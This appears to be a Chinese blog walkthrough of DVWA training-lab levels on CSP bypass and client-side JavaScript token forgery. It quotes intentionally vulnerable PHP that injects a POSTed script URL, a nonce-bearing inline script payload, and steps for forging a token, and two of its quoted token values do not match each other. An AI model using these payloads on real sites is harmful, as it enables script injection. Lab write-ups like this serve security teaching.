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< figure class = "highlight php" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "meta" > < ?php< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > $headerCSP = < span class = "string" > "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"< / span > ; < span class = "comment" > // allows js from self, pastebin.com, jquery and google analytics.< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > header($headerCSP);< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > # https://pastebin.com/raw/R570EE00< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "meta" > ?> < / span > < / span > < br > < span class = "line" > < span class = "meta" > < ?php< / span > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > (< span class = "keyword" > isset< / span > ($_POST[< span class = "string" > 'include'< / span > ])) { < / span > < br > < span class = "line" > $page[ < span class = "string" > 'body'< / span > ] .= < span class = "string" > "< / span > < / span > < br > < span class = "line" > < span class = "string" > < script src='"< / span > . $_POST[< span class = "string" > 'include'< / span > ] . < span class = "string" > "'> < /script> < / span > < / span > < br > < span class = "line" > < span class = "string" > "< / span > ;< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > $page[ < span class = "string" > 'body'< / span > ] .= < span class = "string" > '< / span > < / span > < br > < span class = "line" > < span class = "string" > < form name="csp" method="POST"> < / span > < / span > < br > < span class = "line" > < span class = "string" > < p> You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:< /p> < / span > < / span > < br > < span class = "line" > < span class = "string" > < input size="50" type="text" name="include" value="" id="include" /> < / span > < / span > < br > < span class = "line" > < span class = "string" > < input type="submit" value="Include" /> < / span > < / span > < br > < span class = "line" > < span class = "string" > < /form> < / span > < / span > < br > < span class = "line" > < span class = "string" > '< / span > ;< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 会在页面里增加一个body< code > < script src=' " . $_POST[' include' ] . " ' > < /script> < / code > < br > 这里在源码中规定了信任的脚本源：< br > < code > script-src ' self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;" ; // allows js from self, pastebin.com, jquery and google analytics.< / code > < br > 输入源码中提示的< a href = "https://pastebin.com/raw/R570EE00， target = "_blank" rel = "noopener" > https://pastebin.com/raw/R570EE00， < / a > < / p >
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< h2 id = "medium模式-10" > < a href = "#medium模式-10" class = "headerlink" title = "medium模式" > < / a > medium模式< / h2 > < p > 如果你要使用 script 标签加载 javascript, 你需要指明其 nonce 值< br > < code > $headerCSP = " Content-Security-Policy: script-src ' self' ' unsafe-inline' ' nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=' ;" ;< / code > < br > 比如：< br > < code > < script nonce=" TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=" > alert(1)< /script> < / code > < / p >
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< h1 id = "JavaScript-Attacks" > < a href = "#JavaScript-Attacks" class = "headerlink" title = "JavaScript Attacks" > < / a > JavaScript Attacks< / h1 > < h2 id = "easy模式-10" > < a href = "#easy模式-10" class = "headerlink" title = "easy模式" > < / a > easy模式< / h2 > < blockquote >
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< p > 本节中的攻击旨在帮助您了解JavaScript在浏览器中的使用方式以及如何操作它。攻击可以通过分析网络流量来进行， ， < br > 只需提交“成功”一词即可赢得关卡。显然， ， ， ， < / p >
< / blockquote >
< p > 提示我们Submit the word “success” to win.但是输入success却返回Invalid token.说明token值不对劲， ‘ ’ < br > 查看源码发现token值是在前台计算的， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > function generate_token() { < / span > < br > < span class = "line" > var phrase = document.getElementById(" phrase" ).value;< / span > < br > < span class = "line" > document.getElementById(" token" ).value = md5(rot13(phrase));< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > generate_token();< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 然而， < br > < code > < input type=" text" name=" phrase" value=" ChangeMe" id=" phrase" > < / code > < br > 因此计算出来的token也是不对的， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > md5(rot13(" success" ))< / span > < br > < span class = "line" > " 38581812b435834ebf84ebcc2c6424d6" < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 把值给隐藏的元素< code > < input type=" hidden" name=" token" value=" 8b479aefbd90795395b3e7089ae0dc09" id=" token" > < / code > < br > 然后提交success< / p >
< h2 id = "medium模式-11" > < a href = "#medium模式-11" class = "headerlink" title = "medium模式" > < / a > medium模式< / h2 > < p > 生成token的代码在js文件中< br > < figure class = "highlight javascript" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "function" > < span class = "keyword" > function< / span > < span class = "title" > do_something< / span > (< span class = "params" > e< / span > ) < / span > { < / span > < br > < span class = "line" > < span class = "keyword" > for< / span > (< span class = "keyword" > var< / span > t = < span class = "string" > ""< / span > , n = e.length - < span class = "number" > 1< / span > ; n > = < span class = "number" > 0< / span > ; n--) t += e[n];< / span > < br > < span class = "line" > < span class = "keyword" > return< / span > t< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > setTimeout(< span class = "function" > < span class = "keyword" > function< / span > (< span class = "params" > < / span > ) < / span > { < / span > < br > < span class = "line" > do_elsesomething(< span class = "string" > "XX"< / span > )< / span > < br > < span class = "line" > } , < span class = "number" > 300< / span > );< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "function" > < span class = "keyword" > function< / span > < span class = "title" > do_elsesomething< / span > (< span class = "params" > e< / span > ) < / span > { < / span > < br > < span class = "line" > < span class = "built_in" > document< / span > .getElementById(< span class = "string" > "token"< / span > ).value = do_something(e + < span class = "built_in" > document< / span > .getElementById(< span class = "string" > "phrase"< / span > ).value + < span class = "string" > "XX"< / span > )< / span > < br > < span class = "line" > } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 输入success， < / p >
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